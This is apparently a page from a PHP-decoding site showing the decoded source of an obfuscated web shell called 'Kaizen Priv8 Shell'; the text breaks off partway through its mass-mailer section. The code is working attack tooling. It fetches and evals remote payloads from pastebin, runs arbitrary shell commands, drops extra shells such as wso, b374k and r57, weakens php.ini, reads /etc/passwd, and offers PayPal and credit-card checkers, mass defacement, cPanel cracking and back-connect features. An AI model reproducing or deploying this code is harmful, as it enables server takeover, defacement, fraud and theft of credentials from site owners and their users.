Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php @session_start(); @error_reporting(0); $eitaro_attacker = "7P1pe9u28jgMv26v63wHhP..
Decoded Output download
@session_start();
@error_reporting(0);
@error_log(0);
@ini_set('error_log',NULL);
@ini_set('log_errors',0);
@ini_set('max_execution_time',0);
@ini_set('output_buffering',0);
@ini_set('display_errors', 0);
@set_time_limit(0);
@set_magic_quotes_runtime(0);
$lol="afb0f8ce3a700157b65be4e4cf62ac6c"; //password(md5)
function printLogin() {
?>
<center><br><br>
<header>
<br><br><br><br>
<div align="center">
<img class="img_fuck" src="https://preview.ibb.co/kPZBRG/Kz_Logo.png" style="width:300">
</div><br><br><br>
</header>
<font face="Courier" size="2" color="#2EFEF7">「 Kaizen Priv8 Shell 」<br />
<b><font size="5" face="Courier New"><center>KAIZEN TERMINAL SYSTEM</center></font></b><br><br>
<b><font size="3" face="Courier New"><center>This is a secured and monitored Federal Goverment system. Unauthorized access is strictly prohibited. All activity is fully monitored. Individuals who attempt to gain</center></font></b>
<b><font size="3" face="Courier New"><center>unauthorized access or attempt any modification of indormation on this system is subject to criminal prosecution. All persons who are hereby notified that</center></font></b>
<b><font size="3" face="Courier New"><center>use of this system constitues concent to monitoring and auditing.</center></font></b><br><br>
<div style="border:0px solid ;background:;width:320px;padding:2px;">
<br>
<style>
body { color:#40FF00;background:url(http://3.bp.blogspot.com/-Lemo3aMnPG8/UQwiih6NxII/AAAAAAAAAdk/0tNLOdgsE1w/s1600/black-background-9247.jpg) no-repeat center center fixed;}
input { color:;margin:0;background-color:transparent;border:0px solid ; }
</style>
<center>
<form method=post>
<input type=password name=Kaizen>
</form></center>
<?php
eval(gzinflate(base64_decode(file_get_contents('http://pastebin.com/raw/6PJ9Pj8F'))));
exit;
}
if( !isset( $_SESSION[md5($_SERVER['HTTP_HOST'])] ))
if( empty( $lol ) ||
( isset( $_POST['Kaizen'] ) && ( md5($_POST['Kaizen']) == $lol ) ) )
$_SESSION[md5($_SERVER['HTTP_HOST'])] = true;
else
printLogin();
if(isset($_GET['file']) && ($_GET['file'] != '') && ($_GET['act'] == 'download')) {
@ob_clean();
$file = $_GET['file'];
header('Content-Description: File Transfer');
header('Content-Type: application/octet-stream');
header('Content-Disposition: attachment; filename="'.basename($file).'"');
header('Expires: 0');
header('Cache-Control: must-revalidate');
header('Pragma: public');
header('Content-Length: ' . filesize($file));
readfile($file);
exit;
}
?>
<html>
<head>
<title>Kaizen Priv8 Shell</title>
<meta name='author' content='Shell Kaizen'>
<meta charset="UTF-8">
<link href='https://i.imgur.com/hNQCYDU.png' rel='icon' type='image/x-icon'/>
<style type='text/css'>
@import url(http://fonts.googleapis.com/css?family=Share+Tech+Mono);
html {
background: #000000;
color: #ffffff;
font-family: 'Ubuntu';
font-size: 13px;
width: 100%;
}
li {
display: inline;
margin: 5px;
padding: 5px;
}
#menu{
background:#111111;
margin:9px 3px 4px 2px;
}
#menu a{
padding:4px 19px;
margin:0;
background:#222222;
text-decoration:none;
letter-spacing:2px;
-moz-border-radius: 5px; -webkit-border-radius: 5px; -khtml-border-radius: 5px; border-radius: 5px;
}
#menu a:hover{
background:#191919;
border-bottom:1px solid #333333;
border-top:1px solid #333333;
}
.explore tr:hover{background:#181818}
table tr:first-child{
background: #191919;
text-align: center;
color: white;
}
table, th, td {
border-collapse:collapse;
font-family: Tahoma, Geneva, sans-serif;
background: transparent;
font-family: 'Ubuntu';
font-size: 13px;
}
.table_home, .th_home, .td_home {
border: 1px solid #191919;
}
th {
padding: 10px;
}
a {
color: #ffffff;
text-decoration: none;
}
a:hover {
color: gray;
text-decoration: underline;
}
b {
color: yellow;
}
input[type=text], input[type=password],input[type=submit] {
background: transparent;
color: #ffffff;
border: 1px solid #ffffff;
margin: 5px auto;
padding-left: 5px;
font-family: 'Ubuntu';
font-size: 13px;
}
input[type=submit] {
background: #191919;
color: #ffffff;
border: 1px solid #ffffff;
margin: 5px auto;
padding-left: 5px;
font-family: 'Share Tech Mono';
font-size: 13px;
cursor:pointer;
}
textarea {
border: 1px solid #ffffff;
width: 100%;
height: 400px;
padding-left: 5px;
margin: 10px auto;
resize: none;
background: transparent;
color: #ffffff;
font-family: 'Share Tech Mono';
font-size: 13px;
}
select {
width: 152px;
background: #000000;
color: blue;
border: 1px solid #ffffff;
margin: 5px auto;
padding-left: 5px;
font-family: 'Share Tech Mono';
font-size: 13px;
}
option:hover {
background: blue;
color: #000000;
}
.mybox{-moz-border-radius: 10px; border-radius: 10px;border:1px solid #ff0000; padding:4px 2px;width:70%;line-height:24px;background:none;box-shadow: 0px 4px 2px white;-webkit-box-shadow: 0px 4px 2px #ff0000;-moz-box-shadow: 0px 4px 2px #ff0000;}
.cgx2 {text-align: center;letter-spacing:1px;font-family: "orbitron";color: #ff0000;font-size:25px;text-shadow: 5px 5px 5px black;}
.infoweb {
border-right: 1px solid #00FFFF;
}
</style>
</head>
<!-- head info start here -->
<div class="head_info">
<Center><pre>
<img src="http://4.bp.blogspot.com/-ceQOU8yDA-s/VI0BYisVOHI/AAAAAAAAEdc/ANKuBTJqxHM/s1600/agne_zps5e42fcf5.png" width="700" height="300" /><br><font face="Courier" size="2" color="#2EFEF7">「 Kaizen Priv8 Shell 」<br />
</pre>
</Center>
<table ><tr>
<td style="padding: 5px;"><?php echo $buff; ?></td>
</tr></table>
</div>
<!-- head info end here -->
<style>
body { color:#40FF00;background:url(https://ak6.picdn.net/shutterstock/videos/26213567/thumb/1.jpg) no-repeat center center fixed;}
input { color:#40FF00;margin:0;background-color:black;border:1px solid #40FF00; }
</style>
<!-- head info end here -->
<?php
if (file_exists("php.ini")){
}else{
$img = fopen('php.ini', 'w');
$sec = "safe_mode = OFF
disable_funtions = NONE";
fwrite($img ,$sec);
fclose($img);}
function w($dir,$perm) {
if(!is_writable($dir)) {
return "<font color=red>".$perm."</font>";
} else {
return "<font color=lime>".$perm."</font>";
}
}
function UrlLoop($url,$type){
$urlArray = array();
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$result = curl_exec($ch);
$regex='|<a.*?href="(.*?)"|';
preg_match_all($regex,$result,$parts);
$links=$parts[1];
foreach($links as $link){
array_push($urlArray, $link);
}
curl_close($ch);
foreach($urlArray as $value){
$lol="$url$value";
if(preg_match("#$type#is", $lol)) {
echo "$lol
";
}
}
}
function exe($cmd) {
if(function_exists('system')) {
@ob_start();
@system($cmd);
$buff = @ob_get_contents();
@ob_end_clean();
return $buff;
} elseif(function_exists('exec')) {
@exec($cmd,$results);
$buff = "";
foreach($results as $result) {
$buff .= $result;
} return $buff;
} elseif(function_exists('passthru')) {
@ob_start();
@passthru($cmd);
$buff = @ob_get_contents();
@ob_end_clean();
return $buff;
} elseif(function_exists('shell_exec')) {
$buff = @shell_exec($cmd);
return $buff;
}
}
function perms($file){
$perms = fileperms($file);
if (($perms & 0xC000) == 0xC000) {
$info = 's';
} elseif (($perms & 0xA000) == 0xA000) {
$info = 'l';
} elseif (($perms & 0x8000) == 0x8000) {
$info = '-';
} elseif (($perms & 0x6000) == 0x6000) {
$info = 'b';
} elseif (($perms & 0x4000) == 0x4000) {
$info = 'd';
} elseif (($perms & 0x2000) == 0x2000) {
$info = 'c';
} elseif (($perms & 0x1000) == 0x1000) {
$info = 'p';
} else {
$info = 'u';
}
$info .= (($perms & 0x0100) ? 'r' : '-');
$info .= (($perms & 0x0080) ? 'w' : '-');
$info .= (($perms & 0x0040) ?
(($perms & 0x0800) ? 's' : 'x' ) :
(($perms & 0x0800) ? 'S' : '-'));
$info .= (($perms & 0x0020) ? 'r' : '-');
$info .= (($perms & 0x0010) ? 'w' : '-');
$info .= (($perms & 0x0008) ?
(($perms & 0x0400) ? 's' : 'x' ) :
(($perms & 0x0400) ? 'S' : '-'));
$info .= (($perms & 0x0004) ? 'r' : '-');
$info .= (($perms & 0x0002) ? 'w' : '-');
$info .= (($perms & 0x0001) ?
(($perms & 0x0200) ? 't' : 'x' ) :
(($perms & 0x0200) ? 'T' : '-'));
return $info;
}
function hdd($s) {
if($s >= 1073741824)
return sprintf('%1.2f',$s / 1073741824 ).' GB';
elseif($s >= 1048576)
return sprintf('%1.2f',$s / 1048576 ) .' MB';
elseif($s >= 1024)
return sprintf('%1.2f',$s / 1024 ) .' KB';
else
return $s .' B';
}
function ambilKata($param, $kata1, $kata2){
if(strpos($param, $kata1) === FALSE) return FALSE;
if(strpos($param, $kata2) === FALSE) return FALSE;
$start = strpos($param, $kata1) + strlen($kata1);
$end = strpos($param, $kata2, $start);
$return = substr($param, $start, $end - $start);
return $return;
}
if(get_magic_quotes_gpc()) {
function idx_ss($array) {
return is_array($array) ? array_map('idx_ss', $array) : stripslashes($array);
}
$_POST = idx_ss($_POST);
}
function CreateTools($names,$lokasi){
if ( $_GET['create'] == $names ){
$a= "".$_SERVER['SERVER_NAME']."";
$b= dirname($_SERVER['PHP_SELF']);
$c = "/cox_tools/".$names.".php";
if (file_exists('cox_tools/'.$names.'.php')){
echo '<script type="text/javascript">alert("Done");window.location.href = "cox_tools/'.$names.'.php";</script> ';
}
else {mkdir("cox_tools", 0777);
file_put_contents('cox_tools/'.$names.'.php', file_get_contents($lokasi));
echo ' <script type="text/javascript">alert("Done");window.location.href = "cox_tools/'.$names.'.php";</script> ';}}}
CreateTools("wso","http://pastebin.com/raw/3eh3Gej2");
CreateTools("adminer"."https://www.adminer.org/static/download/4.2.5/adminer-4.2.5.php");
CreateTools("b374k","http://pastebin.com/raw/rZiyaRGV");
CreateTools("injection","http://pastebin.com/raw/nxxL8c1f");
CreateTools("promailerv2","http://pastebin.com/raw/Rk9v6eSq");
CreateTools("gamestopceker","http://pastebin.com/raw/QSnw1JXV");
CreateTools("bukapalapak","http://pastebin.com/raw/6CB8krDi");
CreateTools("tokopedia","http://pastebin.com/dvhzWgby");
CreateTools("encodedecode","http://pastebin.com/raw/wqB3G5eZ");
CreateTools("mailer","http://pastebin.com/raw/9yu1DmJj");
CreateTools("r57","http://pastebin.com/raw/G2VEDunW");
CreateTools("tokenpp","http://pastebin.com/raw/72xgmtPL");
CreateTools("extractor","http://pastebin.com/raw/jQnMFHBL");
CreateTools("bh","http://pastebin.com/raw/3L2ESWeu");
CreateTools("dhanus","http://pastebin.com/raw/v4xGus6X");
if(isset($_GET['dir'])) {
$dir = $_GET['dir'];
chdir($_GET['dir']);
} else {
$dir = getcwd();
}
$dir = str_replace("\","/",$dir);
$scdir = explode("/", $dir);
$sm = (@ini_get(strtolower("safe_mode")) == 'on') ? "<font color=red>ON</font>" : "<font color=lime>OFF</font>";
$ling="http://".$_SERVER['SERVER_NAME']."".$_SERVER['PHP_SELF']."?create";
$ds = @ini_get("disable_functions");
$mysql = (function_exists('mysql_connect')) ? "<font color=lime>ON</font>" : "<font color=red>OFF</font>";
$curl = (function_exists('curl_version')) ? "<font color=lime>ON</font>" : "<font color=red>OFF</font>";
$wget = (exe('wget --help')) ? "<font color=lime>ON</font>" : "<font color=red>OFF</font>";
$perl = (exe('perl --help')) ? "<font color=lime>ON</font>" : "<font color=red>OFF</font>";
$python = (exe('python --help')) ? "<font color=lime>ON</font>" : "<font color=red>OFF</font>";
$show_ds = (!empty($ds)) ? "<font color=red>$ds</font>" : "<font color=lime>NONE</font>";
if(!function_exists('posix_getegid')) {
$user = @get_current_user();
$uid = @getmyuid();
$gid = @getmygid();
$group = "?";
} else {
$uid = @posix_getpwuid(posix_geteuid());
$gid = @posix_getgrgid(posix_getegid());
$user = $uid['name'];
$uid = $uid['uid'];
$group = $gid['name'];
$gid = $gid['gid'];
}
$d0mains = @file("/etc/named.conf");
$users=@file('/etc/passwd');
if($d0mains)
{
$count;
foreach($d0mains as $d0main)
{
if(@ereg("zone",$d0main))
{
preg_match_all('#zone "(.*)"#', $d0main, $domains);
flush();
if(strlen(trim($domains[1][0])) > 2)
{
flush();
$count++;
}
}
}
}
ECHO "<BR>";ECHO "<BR>";
echo "<br>";
echo "Sistem: ".php_uname()."<br>";
echo "<tr><td>User: <font color=lime>".$user."</font> (".$uid.") Group: <font color=lime>".$group."</font> (".$gid.")</td></tr><br/>";
echo "<tr><td>Server IP: <font color=lime>".gethostbyname($_SERVER['HTTP_HOST'])."</font> | Your IP: <font color=lime>".$_SERVER['REMOTE_ADDR']."</font></td></tr><br/>";
echo "<tr><td>HDD: <font color=lime>".hdd(disk_free_space("/"))."</font> / <font color=lime>".hdd(disk_total_space("/"))."</font></td></tr><br/>";
echo "<tr><td>Websites :<font color=lime> $count </font> Domains</td></tr><br/>";
echo "<tr><td>Port :<font color=lime> $sport</font> </td></tr><br/>";
echo "<tr><td>Safe Mode: $sm</td></tr><br/>";
echo "<tr><td>Disable Functions: $show_ds</td></tr><br/>";
echo "<tr><td>MySQL: $mysql | Perl: $perl | Python: $python | WGET: $wget | CURL: $curl </td></tr><br/>";
echo "<tr><td>Current DIR: ";
foreach($scdir as $c_dir => $cdir) {
echo "<a href='?dir=";
for($i = 0; $i <= $c_dir; $i++) {
echo $scdir[$i];
if($i != $c_dir) {
echo "/";
}
}
echo "'>$cdir</a>/";
}
echo "<tr><td><form method='post' action='?dir=$dir&do=cmd'>
Command :
<input type='text' size='30' height='15' name='cmd'><input type='submit' name='do_cmd' value='>>'>
</form></td></tr>";
echo "</table><hr>";
echo "<left>";
echo "<ul>";
echo "<li>「<a href='?'>Home</a>」</li>";
echo "<li>「<a href='?dir=$dir&do=upload'>Upload</a>」</li>";
echo "<li>「<a href='?dir=$dir&do=cmd'>Command</a>」</li>";
echo "<li>「<a href='?dir=$dir&do=csrf'>CSRF</a>」</li>";
echo "<li>「<a href='?dir=$dir&do=webdav'>Webdav Exploit</a>」</li>";
echo "<li>「<a href='?dir=$dir&do=adfin'>Admin Finder</a>」</li>";
echo "<li>「<a href='?dir=$dir&do=ec'>Encode/Decode</a>」</li>";
echo "<li>「<a href='?dir=$dir&do=ps'>Port Scanner</a>」</li>";
echo "<li>「<a href='?dir=$dir&do=lc'>Local Root</a>」</li>";
echo "<li>「<a href='?dir=$dir&do=reverse'>Reverse IP</a>」</li>";
echo "<li>「<a href='?dir=$dir&do=mailer'>Mailer</a>」<br></li>";
echo "<li>「<a href='?dir=$dir&do=jce'>Jce Multi Uploader</a>」</li>";
echo "<li>「<a href='?dir=$dir&do=cc'>CC Checker</a>」</li>";
echo "<li>「<a href='?dir=$dir&do=pc'>Paypal Checker</a>」</li>";
echo "<li>「<a href='?dir=$dir&do=ex'>Email Extractor</a>」</li>";
echo "<li>「<a href='?dir=$dir&do=dnshij'>DNS Raw Lookup</a>」</li>";
echo "<li>「<a href='?dir=$dir&do=mass_deface'>Mass Deface</a>」</li>";
echo "<li>「<a href='?dir=$dir&do=config'>Config</a>」</li>";
echo "<li>「<a href='?dir=$dir&do=symconfig'>Config V.2</a>」</li>";
echo "<li>「<a href='?dir=$dir&do=jumping'>Jumping</a>」</li>";
echo "<li>「<a href='?dir=$dir&do=symlink'>Symlink</a>」</li>";
echo "<li>「<a href='?dir=$dir&do=symlink'>Symlink 404</a>」</li>";
echo "<li>「<a href='?dir=$dir&do=cpanel'>CP Crack</a>」</li>";
echo "<li>「<a href='?dir=$dir&do=cpftp_auto'>CP/FTP Auto Deface</a>」</li>";
echo "<li>「<a href='?dir=$dir&do=smtp'>SMTP Grabber</a>」</li>";
echo "<li>「<a href='?dir=$dir&do=zoneh'>Zone-H</a>」</li>";
echo "<li>「<a href='?dir=$dir&do=defacerid'>Defacer.ID</a>」</li>";
echo "<li>「<a href='?dir=$dir&do=cgi'>CGI Telnet</a>」</li>";
echo "<li>「<a href='?dir=$dir&do=adminer'>Adminer</a>」</li>";
echo "<li>「<a href='?dir=$dir&do=fake_root'>Fake Root</a>」</li>";
echo "<li>「<a href='?dir=$dir&do=auto_edit_user'>Auto Edit User</a>」<br></li>";
echo "<li>「<a href='?dir=$dir&do=auto_wp'>WP Auto Edit Title</a>」</li>";
echo "<li>「<a href='?dir=$dir&do=auto_dwp'>WP Auto Deface</a>」</li>";
echo "<li>「<a href='?dir=$dir&do=auto_dwp2'>WP Auto Deface V.2</a>」</li>";
echo "<li>「<a href='?dir=$dir&do=auto_cu_wp'>WP Auto Edit User V.2</a>」</li>";
echo "<li>「<a href='?dir=$dir&do=zip'>Bypass Vhost</a>」</li>";
echo "<li>「<a href='?dir=$dir&do=auto_cu_joomla'>Joomla Auto Edit User V.2</a>」</li>";
echo "<li>「<a href='?dir=$dir&do=passwbypass'>Bypass etc/pass</a>」<br></li>";
echo "<li>「<a href='?dir=$dir&do=loghunter'>Log Hunter</a>」</li>";
echo "<li>「<a href='?dir=$dir&do=shellchk'>Shell Checker</a>」</li>";
echo "<li>「<a href='?dir=$dir&do=shelscan'>Shell Finder</a>」</li>";
echo "<li>「<a href='?dir=$dir&do=zip'>Zip Menu</a>」</li>";
echo "<li>「<a href='?dir=$dir&do=injectcode'>Code Inject</a>」</li>";
echo "<li>「<a href='?dir=$dir&do=backconnect'>Back Connect</a>」</li>";
echo "<li>「<a href='?dir=$dir&do=magen'>Magento DB Info</a>」</li>";
echo "<li>「<a href='?dir=$dir&do=about'>About</a>」</li>";
echo "<li>「<a href='?dir=$dir&do=metu'>Logout</a>」<br></li>";
echo "</ul>";
echo "</left>";
echo "<hr>";
if($_GET['do'] == 'upload') {
echo "<center>";
if($_POST['upload']) {
if(@copy($_FILES['ix_file']['tmp_name'], "$dir/".$_FILES['ix_file']['name']."")) {
$act = "<font color=lime>Uploaded!</font> at <i><b>$dir/".$_FILES['ix_file']['name']."</b></i>";
} else {
$act = "<font color=red>failed to upload file</font>";
}
}
echo "Upload File: [ ".w($dir,"Writeable")." ]<form method='post' enctype='multipart/form-data'><input type='file' name='ix_file'><input type='submit' value='upload' name='upload'></form>";
echo $act;
echo "</center>";
}
////////////////////////////
elseif(isset($_GET['do']) && ($_GET['do'] == 'jce')){
?>
<br><center><span style="font-size:30px; font-family:Fredericka the Great; color:#009900">JCE Multi-Uploader</span><center><br>
<form method="post" action="" enctype="multipart/form-data">
<p align="center">
<img src="http://www9.0zz0.com/2014/08/22/21/459163695.png"></p>
<center><table>
<tr>
<td></td><td></td><td><font face="Tahoma" color="#007700" size="2pt">List Websites</font><br><textarea class="area" style="width:500px;height:150px;resize:none" name="siteler"></textarea><br><br></td>
</tr>
<tr>
<td></td><td>File :</td><td><input type="file" name="dosya" style="border: 1px solid #007700 ; border-radius: 4px; box-shadow: 0px 0px 4px #007700;"> <input type="submit" value="Attack Now" /></td>
</tr></table>
</form>
</center>';
<?php
}
////////////////////////////
elseif(isset($_GET['do']) && ($_GET['do'] == 'dnshij')){
?>
<?php
$result = array();
$result_html = '';
if (isset($_POST['domain']) && !empty($_POST['domain'])) {
$domain_regex = '/[a-z\d][a-z\-\d\.]+[a-z\d]/i';
if (preg_match($domain_regex, $_POST['domain'])) {
if ($url = parse_url($_POST['domain'])) { //compatible when user post an url instead of a domain
if (isset($url['host'])) {
$result = dns_get_record($url['host'], DNS_A + DNS_AAAA + DNS_CNAME);
} else if (isset($url['path'])) {
$result = dns_get_record($url['path'], DNS_A + DNS_AAAA + DNS_CNAME);
}
}
}
if (empty($result)) {
$result_html = '<hr>Nothing found or Domain Invalid';
} else {
foreach($result as $r) {
reset($r);
$host = current($r);
$type = next($r);
$value = next($r);
$result_html .= sprintf("<tr><td>%s</td><td>%s</td><td>%s</td></tr>
", $host, $type, $value);
}
$result_html = "<hr>
<table>
$result_html</table>
";
}
}
?><!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/html">
<head>
<meta charset="UTF-8"/>
<title>Raw Dns Lookup</title>
<style>/* somethin from bootstrap */
button,input {margin: 0;font-size: 100%;vertical-align: middle;}
hr {margin: 20px 0;border: 0;border-top: 1px solid #eeeeee;border-bottom: 1px solid #ffffff;}
label {margin-bottom: 3px;}
.form-inline {vertical-align: middle;}
table {width: 100%;text-align: center;margin: auto;}
</style>
</head>
<body>
<div style="text-align: center;width: 800px;margin: 1em auto">
<h1>Raw Dns Lookup</h1>
<form method="post">
<div class="form-inline">
<label for="domain">Domain: </label>
<input id="domain" type="text" name="domain" value="<?=empty($_POST['domain'])?'':$_POST['domain']?>">
<button type="submit">Start</button>
</div>
</form>
<?=$result_html?$result_html:''?>
<hr/>
<p>Server Location:
<?
$geo = json_decode(file_get_contents('http://smart-ip.net/geoip-json'));
echo $geo->countryName;
?>
<br/>
<span>Powered by Kaizen</a></span>
</p>
</div>
</body>
</html>
<?php
}
////////////////////////////
if(isset($_GET['do']) && $_GET['do'] == 'ex'){
?>
<center><b class="conte">
<a href="?do=maiilllerrr">Mailer</a>
<a href="?do=Everythingdawg">Everything You Need</a>
<a href="?do=payppallchker">Paypal Checker</a>
<a href="?do=emailllextrctr">Email Extractor</a></center></b>
<center><span style="font-size:30px; font-family:Fredericka the Great; color:#009900">Email Extractor</span><center><br>
<center><font face=Tahoma size=2 color=#007700 >Put Your Maillist In The Following TEXTAREA and Start</font></center>
<center>
<form method="post">
<textarea class="area" type="text" wrap="VIRTUAL" name="mails" style="background:transparent; margin: 2px; width:708px; height: 220px;"></textarea><br><br>
<center><strong><input type="submit" id="gobutton" name="Extazy007" value=" Start "></strong></center></form>
<br>
<strong><font face="Tahoma" color="blue" size="4">
Mail-List</font><font size="4" face=Tahoma color=red> Filter</font><font size="3" face=Tahoma color=#666666> v1.5 </font>
</br><font face=Tahoma size=3 color=#009900>Developed By Extazy007 Recode By Kaizen</font></strong>
<br><br>
<font face=Tahoma size=2 color=#007700>Contact: www.facebook.com/AnonGhostOfficial2</font>
</center>
<?php
}
////////////////////////////
elseif(isset($_GET['do']) && ($_GET['do'] == 'pc')){
@set_time_limit(0);
function curl($url='',$var='',$Follow=False){
global $set;
$curl = curl_init();
curl_setopt($curl, CURLOPT_URL, $url);
curl_setopt($curl, CURLOPT_CONNECTTIMEOUT,20);
curl_setopt($curl, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/26.0.1410.64 Safari/537.31');
curl_setopt($curl, CURLOPT_COOKIE,'PP1.txt');
curl_setopt($curl, CURLOPT_COOKIEFILE,'PP1.txt');
curl_setopt($curl, CURLOPT_COOKIEJAR,'PP1.txt');
curl_setopt($curl, CURLOPT_SSL_VERIFYHOST, 3);
curl_setopt($curl, CURLOPT_HEADER, 0);
curl_setopt($curl, CURLOPT_RETURNTRANSFER, TRUE);
curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, FALSE);
if ($Follow !== False) {
curl_setopt($curl,CURLOPT_FOLLOWLOCATION,true);
}
$result = curl_exec($curl);
curl_close($curl);
return $result;
}
echo "<head>
<style type=\"text/css\"><!--
body {
font-family: 'Open Sans', sans-serif; font-size:13px}
hr {border:inset 1px #E5E5E5}
#form-container
{
border: solid 1px #007700;
border-radius:10px;
-moz-border-radius: 10px;
-webkit-border-radius: 10px;
box-shadow: 0px 0px 4px #009900;
-moz-box-shadow: 0px 0px 4px #009900;
-webkit-box-shadow: 0px 0px 4px #009900;
margin:30px auto;
padding:10px;
width:910px;
text-shadow: 1px 1px 4px rgba(0,0,0,0.3);
}
#form-container1
{
border: solid 1px #007700;
border-radius:10px;
-moz-border-radius: 10px;
-webkit-border-radius: 10px;
box-shadow: 0px 0px 15px #007700;
-moz-box-shadow: 0px 0px 15px #007700;
-webkit-box-shadow: 0px 0px 15px #007700;
margin:30px auto;
padding:10px;
width:280px;
text-shadow: 1px 1px 4px rgba(0,0,0,0.3);
}
input[type=text], textarea
{
background:transparent;
border:solid 1px #007700;
border-radius:5px;
-moz-border-radius: 5px;
-webkit-border-radius: 5px;
}
textarea { width:100%;height:200px; resize:none }
input[type=text] { width:160px;text-align:center }
input[type=text]:focus, textarea:focus { background:transparent; border:solid 1px #007700; color:#007700;}
.submit-button
{
background: #57A02C;
border:solid 1px #57A02C;
border-radius:5px;
-moz-border-radius: 5px;
-webkit-border-radius: 5px;
-moz-box-shadow: 0 1px 3px rgba(0,0,0,0.6);
-webkit-box-shadow: 0 1px 3px rgba(0,0,0,0.6);
text-shadow: 0 -1px 1px rgba(0,0,0,0.25);
border-bottom: 1px solid rgba(0,0,0,0.25);
position: relative;
color:#333333;
display: inline-block;
cursor:pointer;
font-size:13px;
padding:3px 8px;
}
.submit-button:hover { background:#82D051;border:solid 1px #86CC50; }
.table
{
border: solid 1px #007700;
border-radius:10px;
-moz-border-radius: 5px;
-webkit-border-radius: 5px;
padding-left:10px;
}
.unverified
{
color:#800000;
font-weight: bold;
}
.business{
color:yellow;
font-weight: bold;
}
.premier{
color:#00FF00;
font-weight: bold;
}
.verified{
color:#800080;
font-weight: bold;
}
.nolog{
font-size: 10px;
font: red;
}
--></style>
<title>Valid Email Checker</title>
</head><div align=\"center\"></center>";
$emails = $_POST['emails'];
print '<div id="form-container"> <form method="POST">
<p align="center"><font face="Times New Roman" size="6">PayPal Valid Email
Checker<br></font></p>
<p><textarea rows="10" name="emails" cols="48">'.$emails.'</textarea></p><br>
<p><input class="submit-button" type="submit" value="Submit" name="B1"></p>
</form> </div>';
if (!empty($emails)) {
$emails = explode("
", $emails);
$yes = 0;
$not = 0;
$inv = 0;
$count = 1;
print "<p align=\"center\"><b>Checking <font color=\"#ff8f00\"> ".count($emails)."</font> emails ....</b><br></p><p align=\"center\">";
foreach ( $emails as $email ) {
$email = trim($email);
print $count .".<b> Checking <font color=\"#ff8f00\">".$email."</font> ..... </b>";
$count++;
if(filter_var($email, FILTER_VALIDATE_EMAIL)){
$_CheckAction = curl('https://www.paypal.com/cgi-bin/webscr?cmd=_send-money&myAllTextSubmitID=&cmd=_send-money&type=external&payment_source=p2p_mktgpage&payment_type=Gift&sender_email='.$email.'&email=gz%40s.com¤cy=USD&amount=10&amount_ccode=USD&submit.x=Continue',CURLOPT_FAILONERROR,TRUE);
if(!strpos($_CheckAction, "region")) {
print "<b><font size=\"3\" color=\"#006600\">Yes</font></b> <br>";
$yes++;
$vaild_yes .=$email."
";
}
else {
print "<b><font color=\"#FF0000\">NO</font></b><br>";
$not++;
$vaild_no .=$email."
";
}
}
else {
print "<b><font color=\"#FF0000\">Invalid email</font></b><br><br>";
$inv++;
$invaild .=$email."
";
}
}
print '<p><table border="0" width="100%">
<tr>
<td><p align="center"><font face="Times New Roman" size="4">PayPal emails</font> <b>(<font color="#006600"><b>'.$yes.'</b></font>)</b> </p></td>
<td><p align="center"><font face="Times New Roman" size="4">Not PayPal emails</font> <b>(<font color="#FF0000">'.$not.'</font>)</b> </p> </td>
<td><p align="center"><font face="Times New Roman" size="4">Invalid emails</font> <b>(<font color="#FF0000">'.$inv.'</font>)</b> </p> </td>
</tr>
<tr>
<td><div id="form-container1"><textarea rows="10" name="S1" cols="43">'.$vaild_yes.'</textarea></div></td>
<td><div id="form-container1"><textarea rows="10" name="S2" cols="43">'.$vaild_no.'</textarea></div></td>
<td><div id="form-container1"><textarea rows="10" name="S3" cols="43">'.$invaild.'</textarea></div></td>
</tr>
</table></p>';
}
}
////////////////////////////
elseif(isset($_GET['do']) && ($_GET['do'] == 'reverse')){
?>
<br>
<center><div id="sitelist"><a onClick="window.open('http://www.viewdns.info/reverseip/?host=<?php echo $_SERVER ['SERVER_ADDR']; ?>','POPUP','width=900 0,height=500,scrollbars=10');return false;" href="http://www.viewdns.info/reverseip/?host=<?php echo $_SERVER ['SERVER_ADDR']; ?>"><div id='menu'>[ Reverse IP Lookup ] </a></center>
<br>
<?php
}
////////////////////////////
elseif($_GET['do'] == 'ps') {
?>
<html>
<head>
<title>PortScanner</title>
<script src="js/jquery-2.0.2.min.js" type="text/javascript"></script>
<script src="js/loadFields.js" type="text/javascript" ></script>
</head>
<body>
<form method="post" ><center>
<label for="domain">Domain/IP:</label><br />
<input type="text" name="domain" /><br />
<label for="startport">Start Port:</label><br />
<input type="text" name="startport" /><br />
<label for="endport">End Port:</label><br />
<input type="text" name="endport" /><br /><br />
<input type="submit" value="Scan" />
</form></center>
<br />
<hr />
<br />
<div class="results">
<?php
if((!empty($_POST['domain'])) && (!empty($_POST['startport'])) && (!empty($_POST['endport']))) {
$domain = $_POST['domain'];
if($_POST['startport'] > $_POST['endport'])
{
$startport = $_POST['endport'];
$endport = $_POST['startport'];
}
else
{
$startport = $_POST['startport'];
$endport = $_POST['endport'];
}
echo 'Scan started for: <b><u>' . $domain . '</u></b> from Port: <b><u>' . $startport . '</u></b> to Port: <b><u>' . $endport . '</u></b><br /><br />';
echo '<script type="text/javascript">sendRequest("' . $domain . '", ' . $startport . ', ' . $endport . ');</script>';
}
else
{
echo "Please fill in all fields!";
}
?>
</div>
</body>
</html>
<?php
}
////////////////////////////
elseif($_GET['do'] == 'mailer') {
?>
<?php
/*
Inbox Mass Mailer
*/
$upload = $_GET["upload"];
if ($upload == "up" ) {
$uploaddir = "";
$uploadfile = $uploaddir . basename($_FILES["userfile"]["name"]);
if (isset($_FILES["userfile"]["name"]))
{
if (move_uploaded_file($_FILES["userfile"]["tmp_name"], $uploadfile))
{
$resultati = "The file ". basename($_FILES["userfile"]["name"]) ." has been uploaded";}
else { $resultati = "There was an error uploading the file. please try again!"; }
}
echo'<html>
<head></head>
<div id="result">
<table height="1" width="100%" bgcolor="#000000" bordercolorlight="#c0c0c0" border="0">
<tr><td width="50%" height="1" valign="top" style="font-family: verdana; color: #d9d9d9; font-size: 11px">
<center><form method="POST" enctype="multipart/form-data">
<input type="file" class="inputzbut" name="userfile" style="font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666; background-color: #FF0000">
